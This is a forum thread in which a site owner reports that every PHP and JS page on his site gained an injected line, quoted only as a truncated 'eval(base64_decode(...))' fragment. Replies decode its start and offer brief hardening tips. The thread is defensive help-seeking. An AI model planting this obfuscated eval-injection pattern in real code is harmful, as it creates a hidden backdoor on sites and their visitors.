Hello and welcome to our community! Is this your first visit?
Register
Enjoy an ad free experience by logging in. Not a member yet? Register.
Results 1 to 4 of 4
  1. #1
    Regular Coder
    Join Date
    Dec 2008
    Posts
    129
    Thanks
    0
    Thanked 0 Times in 0 Posts

    php decode hacked my site

    i found a problem on my site and when i compare the files on the server with my local files i found that every page (*.js or *.php) has this line on it
    <?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKC
    or a javascript line


    so i knew that my site has been hacked..
    so
    1 - i want to know how to prevent anyone to hack my site?
    i made on every textfield or textarea on posting or getting it the htmlspecialcharacter($_POST['name'])

    is this true? and can it help me?

    2- how did anyone hack my site??

    3- how i can know what does this code mean???

    thanks in advance and have a nice day

  • #2
    Supreme Master coder! abduraooft's Avatar
    Join Date
    Mar 2007
    Location
    N/A
    Posts
    14,865
    Thanks
    160
    Thanked 2,224 Times in 2,211 Posts
    Are you using any opensource engine anywhere under your ftp account?
    The Dream is not what you see in sleep; Dream is the thing which doesn't let you sleep. --(Dr. APJ. Abdul Kalam)

  • #3
    Senior Coder
    Join Date
    Aug 2009
    Location
    Mansfield, Nottinghamshire, UK
    Posts
    1,555
    Thanks
    57
    Thanked 148 Times in 147 Posts
    post the rest of the line "(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKC "
    above translates to "if(function_exists("
    Last edited by Phil Jackson; 10-20-2009 at 05:08 PM.
    Website Design Mansfield
    PHP Code:
    function I_LOVE(){function b(&$b='P'){$b.='P';}function a($_){return $_++;}$b='P';define("B",'H');b($b=implode('',array($b=a($b),$b=a(B))));b($b);return $b;}
    echo 
    I_LOVE(); 

  • #4
    UE Antagonizer Fumigator's Avatar
    Join Date
    Dec 2005
    Location
    Utah, USA, Northwestern hemisphere, Earth, Solar System, Milky Way Galaxy, Alpha Quadrant
    Posts
    7,691
    Thanks
    42
    Thanked 637 Times in 625 Posts
    Is your password a regular word that can be found in a dictionary? You really must use numbers and characters in your password.


  •  

    Posting Permissions

    • You may not post new threads
    • You may not post replies
    • You may not post attachments
    • You may not edit your posts
    •